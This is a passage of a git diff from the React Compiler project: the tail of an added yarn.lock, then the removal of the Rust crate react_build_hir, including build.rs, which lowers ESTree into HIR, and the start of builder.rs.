+    strip-ansi "^6.0.0"
+
+wrap-ansi@^7.0.0:
+  version "7.0.0"
+  resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-7.0.0.tgz#67e145cff510a6a6984bdf1152911d69d2eb9e43"
+  integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==
+  dependencies:
+    ansi-styles "^4.0.0"
+    string-width "^4.1.0"
+    strip-ansi "^6.0.0"
+
+wrap-ansi@^8.1.0:
+  version "8.1.0"
+  resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-8.1.0.tgz#56dc22368ee570face1b49819975d9b9a5ead214"
+  integrity sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==
+  dependencies:
+    ansi-styles "^6.1.0"
+    string-width "^5.0.1"
+    strip-ansi "^7.0.1"
+
+wrappy@1:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/wrappy/-/wrappy-1.0.2.tgz#b5243d8f3ec1aa35f1364605bc0d1036e30ab69f"
+  integrity sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==
+
+y18n@^5.0.5:
+  version "5.0.8"
+  resolved "https://registry.yarnpkg.com/y18n/-/y18n-5.0.8.tgz#7f4934d0f7ca8c56f95314939ddcd2dd91ce1d55"
+  integrity sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==
+
+yallist@^3.0.2:
+  version "3.1.1"
+  resolved "https://registry.yarnpkg.com/yallist/-/yallist-3.1.1.tgz#dbb7daf9bfd8bac9ab45ebf602b8cbad0d5d08fd"
+  integrity sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==
+
+yaml@^2.3.4:
+  version "2.5.1"
+  resolved "https://registry.yarnpkg.com/yaml/-/yaml-2.5.1.tgz#c9772aacf62cb7494a95b0c4f1fb065b563db130"
+  integrity sha512-bLQOjaX/ADgQ20isPJRvF0iRUHIxVhYvr53Of7wGcWlO2jvtUlH5m87DsmulFVxRpNLOnI4tB6p/oh8D7kpn9Q==
+
+yargs-parser@^21.1.1:
+  version "21.1.1"
+  resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-21.1.1.tgz#9096bceebf990d21bb31fa9516e0ede294a77d35"
+  integrity sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==
+
+yargs@^17.3.1:
+  version "17.7.2"
+  resolved "https://registry.yarnpkg.com/yargs/-/yargs-17.7.2.tgz#991df39aca675a192b816e1e0363f9d75d2aa269"
+  integrity sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==
+  dependencies:
+    cliui "^8.0.1"
+    escalade "^3.1.1"
+    get-caller-file "^2.0.5"
+    require-directory "^2.1.1"
+    string-width "^4.2.3"
+    y18n "^5.0.5"
+    yargs-parser "^21.1.1"
+
+yocto-queue@^0.1.0:
+  version "0.1.0"
+  resolved "https://registry.yarnpkg.com/yocto-queue/-/yocto-queue-0.1.0.tgz#0294eb3dee05028d31ee1a5fa2c556a6aaf10a1b"
+  integrity sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==
diff --git a/compiler/crates/react_build_hir/Cargo.toml b/compiler/crates/react_build_hir/Cargo.toml
deleted file mode 100644
index 55fdeccaa454..000000000000
--- a/compiler/crates/react_build_hir/Cargo.toml
+++ /dev/null
@@ -1,21 +0,0 @@
-[package]
-name = "react_build_hir"
-version = "0.1.0"
-publish               = false
-authors.workspace     = true
-description.workspace = true
-edition.workspace     = true
-homepage.workspace    = true
-keywords.workspace    = true
-license.workspace     = true
-repository.workspace  = true
-
-# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
-
-[dependencies]
-react_hir = { workspace = true }
-react_estree = { workspace = true}
-indexmap = { workspace = true }
-react_diagnostics = { workspace = true }
-react_semantic_analysis = { workspace = true }
-thiserror = { workspace = true }
diff --git a/compiler/crates/react_build_hir/README.md b/compiler/crates/react_build_hir/README.md
deleted file mode 100644
index 15fb1681f844..000000000000
--- a/compiler/crates/react_build_hir/README.md
+++ /dev/null
@@ -1,3 +0,0 @@
-# Build-HIR
-
-This crate converts from `react_estree` into React Compiler's HIR format as the first phase of compilation.
\ No newline at end of file
diff --git a/compiler/crates/react_build_hir/src/build.rs b/compiler/crates/react_build_hir/src/build.rs
deleted file mode 100644
index f2641af96ba1..000000000000
--- a/compiler/crates/react_build_hir/src/build.rs
+++ /dev/null
@@ -1,746 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-use std::collections::HashSet;
-
-use react_diagnostics::Diagnostic;
-use react_estree::{
-    AssignmentPropertyOrRestElement, AssignmentTarget, BlockStatement, Expression,
-    ExpressionOrSpread, ExpressionOrSuper, ForInit, Function, IntoFunction, JsValue, Pattern,
-    Statement, VariableDeclaration, VariableDeclarationKind,
-};
-use react_hir::{
-    ArrayDestructureItem, BlockKind, BranchTerminal, Destructure, DestructurePattern, Environment,
-    ForTerminal, GotoKind, Identifier, IdentifierOperand, InstructionKind, InstructionValue,
-    JSXAttribute, JSXElement, LValue, LoadGlobal, LoadLocal, ObjectDestructureItem,
-    ObjectDestructureProperty, PlaceOrSpread, TerminalValue,
-};
-
-use crate::builder::{Builder, LoopScope};
-use crate::context::get_context_identifiers;
-use crate::error::BuildHIRError;
-
-/// Converts a React function in ESTree format into HIR. Returns the HIR
-/// if it was constructed sucessfully, otherwise a list of diagnostics
-/// if the input could be not be converted to HIR.
-///
-/// Failures generally include nonsensical input (`delete 1`) or syntax
-/// that is not yet supported.
-pub fn build(env: &Environment, fun: &Function) -> Result<Box<react_hir::Function>, Diagnostic> {
-    let mut builder = Builder::new(env);
-
-    let mut params = Vec::with_capacity(fun.params.len());
-    for param in &fun.params {
-        match param {
-            Pattern::Identifier(param) => {
-                let identifier = lower_identifier_for_assignment(
-                    env,
-                    &mut builder,
-                    InstructionKind::Let,
-                    param,
-                )?;
-                params.push(identifier);
-            }
-            _ => {
-                return Err(Diagnostic::todo(
-                    "Support non-identifier params",
-                    param.range(),
-                ));
-            }
-        }
-    }
-
-    match &fun.body {
-        Some(react_estree::FunctionBody::BlockStatement(body)) => {
-            lower_block_statement(env, &mut builder, body)?
-        }
-        Some(react_estree::FunctionBody::Expression(body)) => {
-            lower_expression(env, &mut builder, body)?;
-        }
-        None => {
-            return Err(Diagnostic::invalid_syntax(
-                BuildHIRError::EmptyFunction,
-                fun.range,
-            ));
-        }
-    }
-
-    // In case the function did not explicitly return, terminate the final
-    // block with an explicit `return undefined`. If the function *did* return,
-    // this will be unreachable and get pruned later.
-    let implicit_return_value = builder.push(InstructionValue::Primitive(react_hir::Primitive {
-        value: JsValue::Undefined,
-    }));
-    builder.terminate(
-        TerminalValue::Return(react_hir::ReturnTerminal {
-            value: implicit_return_value,
-        }),
-        react_hir::BlockKind::Block,
-    );
-
-    let body = builder.build()?;
-    Ok(Box::new(react_hir::Function {
-        id: fun.id.as_ref().map(|id| id.name.clone()),
-        body,
-        params,
-        // TODO: populate context!
-        context: Default::default(),
-        is_async: fun.is_async,
-        is_generator: fun.is_generator,
-    }))
-}
-
-fn lower_block_statement(
-    env: &Environment,
-    builder: &mut Builder,
-    stmt: &BlockStatement,
-) -> Result<(), Diagnostic> {
-    for stmt in &stmt.body {
-        lower_statement(env, builder, stmt, None)?;
-    }
-    Ok(())
-}
-
-/// Convert a statement to HIR. This will often result in multiple instructions and blocks
-/// being created as statements often describe control flow.
-fn lower_statement(
-    env: &Environment,
-    builder: &mut Builder,
-    stmt: &Statement,
-    label: Option<String>,
-) -> Result<(), Diagnostic> {
-    match stmt {
-        Statement::BlockStatement(stmt) => {
-            lower_block_statement(env, builder, stmt)?;
-        }
-        Statement::BreakStatement(stmt) => {
-            let block = builder.resolve_break(stmt.label.as_ref())?;
-            builder.terminate(
-                TerminalValue::Goto(react_hir::GotoTerminal {
-                    block,
-                    kind: GotoKind::Break,
-                }),
-                BlockKind::Block,
-            );
-        }
-        Statement::ContinueStatement(stmt) => {
-            let block = builder.resolve_continue(stmt.label.as_ref())?;
-            builder.terminate(
-                TerminalValue::Goto(react_hir::GotoTerminal {
-                    block,
-                    kind: GotoKind::Continue,
-                }),
-                BlockKind::Block,
-            );
-        }
-        Statement::ReturnStatement(stmt) => {
-            let value = match &stmt.argument {
-                Some(argument) => lower_expression(env, builder, argument)?,
-                None => builder.push(InstructionValue::Primitive(react_hir::Primitive {
-                    value: JsValue::Undefined,
-                })),
-            };
-            builder.terminate(
-                TerminalValue::Return(react_hir::ReturnTerminal { value }),
-                BlockKind::Block,
-            );
-        }
-        Statement::ExpressionStatement(stmt) => {
-            lower_expression(env, builder, &stmt.expression)?;
-        }
-        Statement::EmptyStatement(_) => {
-            // no-op
-        }
-        Statement::VariableDeclaration(stmt) => {
-            lower_variable_declaration(env, builder, stmt)?;
-        }
-        Statement::IfStatement(stmt) => {
-            // block for what follows the if statement, though this may
-            // not be reachable
-            let fallthrough_block = builder.reserve(BlockKind::Block);
-
-            let consequent_block = builder.enter(BlockKind::Block, |builder| {
-                lower_statement(env, builder, &stmt.consequent, None)?;
-                Ok(TerminalValue::Goto(react_hir::GotoTerminal {
-                    block: fallthrough_block.id,
-                    kind: GotoKind::Break,
-                }))
-            })?;
-
-            let alternate_block = builder.enter(BlockKind::Block, |builder| {
-                if let Some(alternate) = &stmt.alternate {
-                    lower_statement(env, builder, alternate, None)?;
-                }
-                Ok(TerminalValue::Goto(react_hir::GotoTerminal {
-                    block: fallthrough_block.id,
-                    kind: GotoKind::Break,
-                }))
-            })?;
-
-            let test = lower_expression(env, builder, &stmt.test)?;
-            let terminal = TerminalValue::If(react_hir::IfTerminal {
-                test,
-                consequent: consequent_block,
-                alternate: alternate_block,
-                fallthrough: Some(fallthrough_block.id),
-            });
-            builder.terminate_with_fallthrough(terminal, fallthrough_block);
-        }
-        Statement::ForStatement(stmt) => {
-            // Block for the loop's test condition
-            let test_block = builder.reserve(BlockKind::Loop);
-
-            // Block for code following the loop
-            let fallthrough_block = builder.reserve(BlockKind::Block);
-
-            let init_block = builder.enter(BlockKind::Loop, |builder| {
-                if let Some(ForInit::VariableDeclaration(decl)) = &stmt.init {
-                    lower_variable_declaration(env, builder, decl)?;
-                    Ok(TerminalValue::Goto(react_hir::GotoTerminal {
-                        block: test_block.id,
-                        kind: GotoKind::Break,
-                    }))
-                } else {
-                    Err(Diagnostic::todo(
-                        BuildHIRError::ForStatementIsMissingInitializer,
-                        None,
-                    ))
-                }
-            })?;
-
-            let update_block = stmt
-                .update
-                .as_ref()
-                .map(|update| {
-                    builder.enter(BlockKind::Loop, |builder| {
-                        lower_expression(env, builder, update)?;
-                        Ok(TerminalValue::Goto(react_hir::GotoTerminal {
-                            block: test_block.id,
-                            kind: GotoKind::Break,
-                        }))
-                    })
-                })
-                .transpose()?;
-
-            let body_block = builder.enter(BlockKind::Block, |builder| {
-                let loop_ = LoopScope {
-                    label,
-                    continue_block: update_block.unwrap_or(test_block.id),
-                    break_block: fallthrough_block.id,
-                };
-                builder.enter_loop(loop_, |builder| {
-                    lower_statement(env, builder, &stmt.body, None)?;
-                    Ok(TerminalValue::Goto(react_hir::GotoTerminal {
-                        block: update_block.unwrap_or(test_block.id),
-                        kind: GotoKind::Continue,
-                    }))
-                })
-            })?;
-
-            let terminal = TerminalValue::For(ForTerminal {
-                body: body_block,
-                init: init_block,
-                test: test_block.id,
-                fallthrough: fallthrough_block.id,
-                update: update_block,
-            });
-            builder.terminate_with_fallthrough(terminal, test_block);
-
-            if let Some(test) = &stmt.test {
-                let test_value = lower_expression(env, builder, test)?;
-                let terminal = TerminalValue::Branch(BranchTerminal {
-                    test: test_value,
-                    consequent: body_block,
-                    alternate: fallthrough_block.id,
-                });
-                builder.terminate_with_fallthrough(terminal, fallthrough_block);
-            } else {
-                return Err(Diagnostic::todo(
-                    BuildHIRError::ForStatementIsMissingTest,
-                    stmt.range,
-                ));
-            }
-        }
-        _ => todo!("Lower {stmt:#?}"),
-    }
-    Ok(())
-}
-
-fn lower_variable_declaration(
-    env: &Environment,
-    builder: &mut Builder,
-    stmt: &VariableDeclaration,
-) -> Result<(), Diagnostic> {
-    let kind = match stmt.kind {
-        VariableDeclarationKind::Const => InstructionKind::Const,
-        VariableDeclarationKind::Let => InstructionKind::Let,
-        VariableDeclarationKind::Var => {
-            return Err(Diagnostic::unsupported(
-                BuildHIRError::VariableDeclarationKindIsVar,
-                stmt.range,
-            ));
-        }
-    };
-    for declaration in &stmt.declarations {
-        if let Some(init) = &declaration.init {
-            let value = lower_expression(env, builder, init)?;
-            lower_assignment_pattern(env, builder, kind, &declaration.id, value)?;
-        } else {
-            match &declaration.id {
-                Pattern::Identifier(id) => {
-                    let identifier = env.resolve_variable_declaration(id.as_ref(), &id.name);
-                    if let Some(identifier) = identifier {
-                        builder.push(InstructionValue::DeclareLocal(react_hir::DeclareLocal {
-                            lvalue: LValue {
-                                identifier: IdentifierOperand {
-                                    identifier,
-                                    effect: None,
-                                },
-                                kind,
-                            },
-                        }));
-                    } else {
-                        return Err(Diagnostic::invariant(
-                            BuildHIRError::VariableDeclarationBindingIsNonLocal,
-                            id.range,
-                        ));
-                    }
-                }
-                _ => {
-                    return Err(Diagnostic::invalid_syntax(
-                        "Expected an identifier for variable declaration without an intializer. Destructuring requires an initial value",
-                        declaration.range,
-                    ));
-                }
-            }
-        }
-    }
-    Ok(())
-}
-
-/// Converts an ESTree Expression into an HIR InstructionValue. Note that while only a single
-/// InstructionValue is returned, this function is recursive and may cause multiple instructions
-/// to be emitted, possibly across multiple basic blocks (in the case of expressions with control
-/// flow semenatics such as logical, conditional, and optional expressions).
-fn lower_expression(
-    env: &Environment,
-    builder: &mut Builder,
-    expr: &Expression,
-) -> Result<IdentifierOperand, Diagnostic> {
-    let value = match expr {
-        Expression::Identifier(expr) => {
-            let identifier = env.resolve_variable_reference(expr.as_ref());
-            if let Some(identifier) = identifier {
-                let place = IdentifierOperand {
-                    effect: None,
-                    identifier,
-                };
-                InstructionValue::LoadLocal(LoadLocal { place })
-            } else {
-                InstructionValue::LoadGlobal(LoadGlobal {
-                    name: expr.name.clone(),
-                })
-            }
-        }
-        Expression::Literal(expr) => InstructionValue::Primitive(react_hir::Primitive {
-            value: expr.value.clone(),
-        }),
-        Expression::NumericLiteral(expr) => InstructionValue::Primitive(react_hir::Primitive {
-            value: JsValue::Number(expr.value),
-        }),
-        Expression::BooleanLiteral(expr) => InstructionValue::Primitive(react_hir::Primitive {
-            value: JsValue::Boolean(expr.value),
-        }),
-        Expression::StringLiteral(expr) => InstructionValue::Primitive(react_hir::Primitive {
-            value: JsValue::String(expr.value.clone()),
-        }),
-        Expression::NullLiteral(_expr) => InstructionValue::Primitive(react_hir::Primitive {
-            value: JsValue::Null,
-        }),
-        Expression::ArrayExpression(expr) => {
-            let mut elements = Vec::with_capacity(expr.elements.len());
-            for expr in &expr.elements {
-                let element = match expr {
-                    Some(react_estree::ExpressionOrSpread::SpreadElement(expr)) => Some(
-                        PlaceOrSpread::Spread(lower_expression(env, builder, &expr.argument)?),
-                    ),
-                    Some(react_estree::ExpressionOrSpread::Expression(expr)) => {
-                        Some(PlaceOrSpread::Place(lower_expression(env, builder, expr)?))
-                    }
-                    None => None,
-                };
-                elements.push(element);
-            }
-            InstructionValue::Array(react_hir::Array { elements })
-        }
-
-        Expression::AssignmentExpression(expr) => match expr.operator {
-            react_estree::AssignmentOperator::Equals => {
-                let right = lower_expression(env, builder, &expr.right)?;
-                return lower_assignment(
-                    env,
-                    builder,
-                    InstructionKind::Reassign,
-                    &expr.left,
-                    right,
-                );
-            }
-            _ => todo!("lower assignment expr {:#?}", expr),
-        },
-
-        Expression::BinaryExpression(expr) => {
-            let left = lower_expression(env, builder, &expr.left)?;
-            let right = lower_expression(env, builder, &expr.right)?;
-            InstructionValue::Binary(react_hir::Binary {
-                left,
-                operator: expr.operator,
-                right,
-            })
-        }
-
-        Expression::FunctionExpression(expr) => {
-            InstructionValue::Function(lower_function(env, builder, expr.as_ref())?)
-        }
-
-        Expression::ArrowFunctionExpression(expr) => {
-            InstructionValue::Function(lower_function(env, builder, expr.as_ref())?)
-        }
-
-        Expression::CallExpression(expr) => {
-            let callee_expr = match &expr.callee {
-                ExpressionOrSuper::Super(callee) => {
-                    return Err(Diagnostic::unsupported(
-                        BuildHIRError::UnsupportedSuperExpression,
-                        callee.range,
-                    ));
-                }
-                ExpressionOrSuper::Expression(callee) => callee,
-            };
-
-            if matches!(&callee_expr, Expression::MemberExpression(_)) {
-                return Err(Diagnostic::todo("Support method calls", expr.range));
-            }
-
-            let callee = lower_expression(env, builder, callee_expr)?;
-            let arguments = lower_arguments(env, builder, &expr.arguments)?;
-            InstructionValue::Call(react_hir::Call { callee, arguments })
-        }
-
-        Expression::JSXElement(expr) => {
-            InstructionValue::JSXElement(lower_jsx_element(env, builder, expr)?)
-        }
-
-        _ => todo!("Lower expr {expr:#?}"),
-    };
-    Ok(builder.push(value))
-}
-
-fn lower_arguments(
-    env: &Environment,
-    builder: &mut Builder,
-    args: &[ExpressionOrSpread],
-) -> Result<Vec<PlaceOrSpread>, Diagnostic> {
-    let mut arguments = Vec::with_capacity(args.len());
-    for arg in args {
-        let element = match arg {
-            react_estree::ExpressionOrSpread::SpreadElement(arg) => {
-                PlaceOrSpread::Spread(lower_expression(env, builder, &arg.argument)?)
-            }
-            react_estree::ExpressionOrSpread::Expression(arg) => {
-                PlaceOrSpread::Place(lower_expression(env, builder, arg)?)
-            }
-        };
-        arguments.push(element);
-    }
-    Ok(arguments)
-}
-
-fn lower_function<T: IntoFunction>(
-    env: &Environment,
-    _builder: &mut Builder,
-    function: &T,
-) -> Result<react_hir::FunctionExpression, Diagnostic> {
-    let context_identifiers = get_context_identifiers(env, function);
-    let mut context = Vec::new();
-    let mut seen = HashSet::new();
-    for declaration_id in context_identifiers {
-        if let Some(identifier) = env.resolve_declaration_id(declaration_id) {
-            if !seen.insert(identifier.id) {
-                continue;
-            }
-            context.push(IdentifierOperand {
-                effect: None,
-                identifier,
-            });
-        }
-    }
-    let mut fun = build(env, function.function())?;
-    fun.context = context;
-    Ok(react_hir::FunctionExpression {
-        // TODO: collect dependencies!
-        dependencies: Default::default(),
-        lowered_function: fun,
-    })
-}
-
-fn lower_jsx_element(
-    env: &Environment,
-    builder: &mut Builder,
-    expr: &react_estree::JSXElement,
-) -> Result<JSXElement, Diagnostic> {
-    let props: Result<Vec<JSXAttribute>, Diagnostic> = expr
-        .opening_element
-        .attributes
-        .iter()
-        .map(|attr| lower_jsx_attribute(env, builder, attr))
-        .collect();
-    let _props = props?;
-    let children: Result<Vec<IdentifierOperand>, Diagnostic> = expr
-        .children
-        .iter()
-        .map(|child| {
-            let child = lower_jsx_child(env, builder, child)?;
-            Ok(child)
-        })
-        .collect();
-    let _children = children?;
-    todo!("lower jsx element");
-    // Ok(JSXElement {
-    //     tag: todo!(),
-    //     props,
-    //     children: if children.is_empty() {
-    //         None
-    //     } else {
-    //         Some(children)
-    //     },
-    // })
-}
-
-fn lower_jsx_attribute(
-    _env: &Environment,
-    _builder: &mut Builder,
-    _attr: &react_estree::JSXAttributeOrSpread,
-) -> Result<JSXAttribute, Diagnostic> {
-    todo!("lower jsx attribute")
-}
-
-fn lower_jsx_child(
-    _env: &Environment,
-    _builder: &mut Builder,
-    _child: &react_estree::JSXChildItem,
-) -> Result<IdentifierOperand, Diagnostic> {
-    todo!("lower jsx child")
-}
-
-fn lower_assignment(
-    env: &Environment,
-    builder: &mut Builder,
-    kind: InstructionKind,
-    lvalue: &AssignmentTarget,
-    value: IdentifierOperand,
-) -> Result<IdentifierOperand, Diagnostic> {
-    Ok(match lvalue {
-        AssignmentTarget::Pattern(lvalue) => {
-            lower_assignment_pattern(env, builder, kind, lvalue, value)?
-        }
-        _ => todo!("lower assignment for {:#?}", lvalue),
-    })
-}
-
-// TODO: change the success type to void, no caller uses it
-fn lower_assignment_pattern(
-    env: &Environment,
-    builder: &mut Builder,
-    kind: InstructionKind,
-    lvalue: &Pattern,
-    value: IdentifierOperand,
-) -> Result<IdentifierOperand, Diagnostic> {
-    Ok(match lvalue {
-        Pattern::Identifier(lvalue) => {
-            let identifier = lower_identifier_for_assignment(env, builder, kind, lvalue)?;
-            builder.push(InstructionValue::StoreLocal(react_hir::StoreLocal {
-                lvalue: LValue { identifier, kind },
-                value,
-            }))
-        }
-        Pattern::ArrayPattern(lvalue) => {
-            let mut items = Vec::with_capacity(lvalue.elements.len());
-            let mut followups: Vec<(Identifier, &Pattern)> = Vec::new();
-            for element in &lvalue.elements {
-                match element {
-                    None => items.push(ArrayDestructureItem::Hole),
-                    Some(Pattern::Identifier(element)) => {
-                        let identifier =
-                            lower_identifier_for_assignment(env, builder, kind, element)?;
-                        items.push(ArrayDestructureItem::Value(identifier));
-                    }
-                    Some(Pattern::RestElement(element)) => {
-                        if let Pattern::Identifier(element) = &element.argument {
-                            let identifier = lower_identifier_for_assignment(
-                                env,
-                                builder,
-                                kind,
-                                element.as_ref(),
-                            )?;
-                            items.push(ArrayDestructureItem::Spread(identifier));
-                        } else {
-                            let temporary = env.new_temporary();
-                            items.push(ArrayDestructureItem::Spread(IdentifierOperand {
-                                identifier: temporary.clone(),
-                                effect: None,
-                            }));
-                            followups.push((temporary, &element.argument));
-                        }
-                    }
-                    Some(element) => {
-                        let temporary = env.new_temporary();
-                        items.push(ArrayDestructureItem::Value(IdentifierOperand {
-                            identifier: temporary.clone(),
-                            effect: None,
-                        }));
-                        followups.push((temporary, element));
-                    }
-                }
-            }
-            let temporary = builder.push(InstructionValue::Destructure(Destructure {
-                kind,
-                pattern: DestructurePattern::Array(items),
-                value,
-            }));
-            for (temporary, pattern) in followups {
-                lower_assignment_pattern(
-                    env,
-                    builder,
-                    kind,
-                    pattern,
-                    IdentifierOperand {
-                        identifier: temporary,
-                        effect: None,
-                    },
-                )?;
-            }
-            temporary
-        }
-        Pattern::ObjectPattern(lvalue) => {
-            let mut properties = Vec::with_capacity(lvalue.properties.len());
-            let mut followups: Vec<(Identifier, &Pattern)> = Vec::new();
-
-            for property in &lvalue.properties {
-                match property {
-                    AssignmentPropertyOrRestElement::RestElement(property) => {
-                        if let Pattern::Identifier(element) = &property.argument {
-                            let identifier = lower_identifier_for_assignment(
-                                env,
-                                builder,
-                                kind,
-                                element.as_ref(),
-                            )?;
-                            properties.push(ObjectDestructureItem::Spread(identifier));
-                        } else {
-                            let temporary = env.new_temporary();
-                            properties.push(ObjectDestructureItem::Spread(IdentifierOperand {
-                                identifier: temporary.clone(),
-                                effect: None,
-                            }));
-                            followups.push((temporary, &property.argument));
-                        }
-                    }
-                    AssignmentPropertyOrRestElement::AssignmentProperty(property) => {
-                        if property.is_computed {
-                            return Err(Diagnostic::todo(
-                                "Handle computed properties in ObjectPattern",
-                                property.range,
-                            ));
-                        }
-                        let key = if let Expression::Identifier(key) = &property.key {
-                            key.name.as_str()
-                        } else {
-                            return Err(Diagnostic::todo(
-                                "Support non-identifier object keys in non-computed ObjectPattern",
-                                property.range,
-                            ));
-                        };
-                        if let Pattern::Identifier(value) = &property.value {
-                            let value = lower_identifier_for_assignment(env, builder, kind, value)?;
-                            properties.push(ObjectDestructureItem::Property(
-                                ObjectDestructureProperty {
-                                    name: key.to_string(),
-                                    value,
-                                },
-                            ));
-                        } else {
-                            let temporary = env.new_temporary();
-                            properties.push(ObjectDestructureItem::Property(
-                                ObjectDestructureProperty {
-                                    name: key.to_string(),
-                                    value: IdentifierOperand {
-                                        identifier: temporary.clone(),
-                                        effect: None,
-                                    },
-                                },
-                            ));
-                            followups.push((temporary, &property.value));
-                        }
-                    }
-                }
-            }
-
-            let temporary = builder.push(InstructionValue::Destructure(Destructure {
-                kind,
-                pattern: DestructurePattern::Object(properties),
-                value,
-            }));
-            for (temporary, pattern) in followups {
-                lower_assignment_pattern(
-                    env,
-                    builder,
-                    kind,
-                    pattern,
-                    IdentifierOperand {
-                        identifier: temporary,
-                        effect: None,
-                    },
-                )?;
-            }
-            temporary
-        }
-        _ => todo!("lower assignment pattern for {:#?}", lvalue),
-    })
-}
-
-fn lower_identifier_for_assignment(
-    env: &Environment,
-    _builder: &mut Builder,
-    kind: InstructionKind,
-    node: &react_estree::Identifier,
-) -> Result<IdentifierOperand, Diagnostic> {
-    match kind {
-        InstructionKind::Reassign => {
-            let identifier = env.resolve_variable_reference(node);
-            if let Some(identifier) = identifier {
-                Ok(IdentifierOperand {
-                    identifier,
-                    effect: None,
-                })
-            } else {
-                // Reassigning a global
-                Err(
-                    Diagnostic::invalid_react(BuildHIRError::ReassignedGlobal, node.range)
-                        .annotate(format!("Cannot reassign `{}`", &node.name), node.range),
-                )
-            }
-        }
-        _ => {
-            // Declaration
-            let identifier = env.resolve_variable_declaration(node, &node.name).unwrap();
-            Ok(IdentifierOperand {
-                identifier,
-                effect: None,
-            })
-        }
-    }
-}
diff --git a/compiler/crates/react_build_hir/src/builder.rs b/compiler/crates/react_build_hir/src/builder.rs
deleted file mode 100644
index 3deff7d2f77e..000000000000
--- a/compiler/crates/react_build_hir/src/builder.rs
+++ /dev/null
@@ -1,322 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-use std::cell::RefCell;
-use std::rc::Rc;
-
-use react_diagnostics::Diagnostic;
-use react_hir::{
-    initialize_hir, BasicBlock, BlockId, BlockKind, Blocks, Environment, GotoKind, IdentifierData,
-    IdentifierOperand, InstrIx, Instruction, InstructionIdGenerator, InstructionValue, Terminal,
-    TerminalValue, Type, HIR,
-};
-
-use crate::BuildHIRError;
-
-/// Helper struct used when converting from ESTree to HIR. Includes:
-/// - Variable resolution
-/// - Label resolution (for labeled statements and break/continue)
-/// - Access to the environment
-///
-/// As well as representing the incomplete form of the HIR. Usage
-/// generally involves driving calls to enter/exit blocks, resolve
-/// labels and variables, and then calling `build()` when the HIR
-/// is complete.
-pub(crate) struct Builder<'e> {
-    #[allow(dead_code)]
-    environment: &'e Environment,
-
-    completed: Blocks,
-
-    instructions: Vec<Instruction>,
-
-    entry: BlockId,
-
-    wip: WipBlock,
-
-    id_gen: InstructionIdGenerator,
-
-    scopes: Vec<ControlFlowScope>,
-}
-
-pub(crate) struct WipBlock {
-    pub id: BlockId,
-    pub kind: BlockKind,
-    pub instructions: Vec<InstrIx>,
-}
-
-#[derive(Clone, PartialEq, Eq, Debug)]
-enum ControlFlowScope {
-    Loop(LoopScope),
-
-    // Switch(SwitchScope),
-    #[allow(dead_code)]
-    Label(LabelScope),
-}
-
-#[derive(Clone, PartialEq, Eq, Debug)]
-pub(crate) struct LoopScope {
-    pub label: Option<String>,
-    pub continue_block: BlockId,
-    pub break_block: BlockId,
-}
-
-#[derive(Clone, PartialEq, Eq, Debug)]
-pub(crate) struct LabelScope {
-    pub label: String,
-    pub block: BlockId,
-}
-
-impl ControlFlowScope {
-    fn label(&self) -> Option<&String> {
-        match self {
-            Self::Loop(scope) => scope.label.as_ref(),
-            Self::Label(scope) => Some(&scope.label),
-        }
-    }
-
-    fn break_block(&self) -> BlockId {
-        match self {
-            Self::Loop(scope) => scope.break_block,
-            Self::Label(scope) => scope.block,
-        }
-    }
-}
-
-impl<'e> Builder<'e> {
-    pub(crate) fn new(environment: &'e Environment) -> Self {
-        let entry = environment.next_block_id();
-        let current = WipBlock {
-            id: entry,
-            kind: BlockKind::Block,
-            instructions: Default::default(),
-        };
-        Self {
-            environment,
-            completed: Default::default(),
-            instructions: Default::default(),
-            entry,
-            wip: current,
-            id_gen: InstructionIdGenerator::new(),
-            scopes: Default::default(),
-        }
-    }
-
-    /// Completes the builder and returns the HIR if it was valid,
-    /// or a Diagnostic if a validation error occured.
-    ///
-    /// TODO: refine the type, only invariants should be possible here,
-    /// not other types of errors
-    pub(crate) fn build(self) -> Result<HIR, Diagnostic> {
-        let mut hir = HIR {
-            entry: self.entry,
-            blocks: self.completed,
-            instructions: self.instructions,
-        };
-        // Run all the initialization passes
-        initialize_hir(&mut hir)?;
-        Ok(hir)
-    }
-
-    /// Adds a new instruction to the end of the work in progress block
-    pub(crate) fn push(&mut self, value: InstructionValue) -> IdentifierOperand {
-        let lvalue = IdentifierOperand {
-            identifier: self.environment.new_temporary(),
-            effect: None,
-        };
-        let instr = Instruction {
-            id: self.id_gen.next(),
-            lvalue: lvalue.clone(),
-            value,
-        };
-        let ix = InstrIx::new(self.instructions.len() as u32);
-        self.instructions.push(instr);
-        self.wip.instructions.push(ix);
-        lvalue
-    }
-
-    /// Terminates the work in progress block with the given terminal, and starts a new
-    /// work in progress block with the given kind
-    pub(crate) fn terminate(&mut self, terminal: TerminalValue, next_kind: BlockKind) {
-        let next_wip = WipBlock {
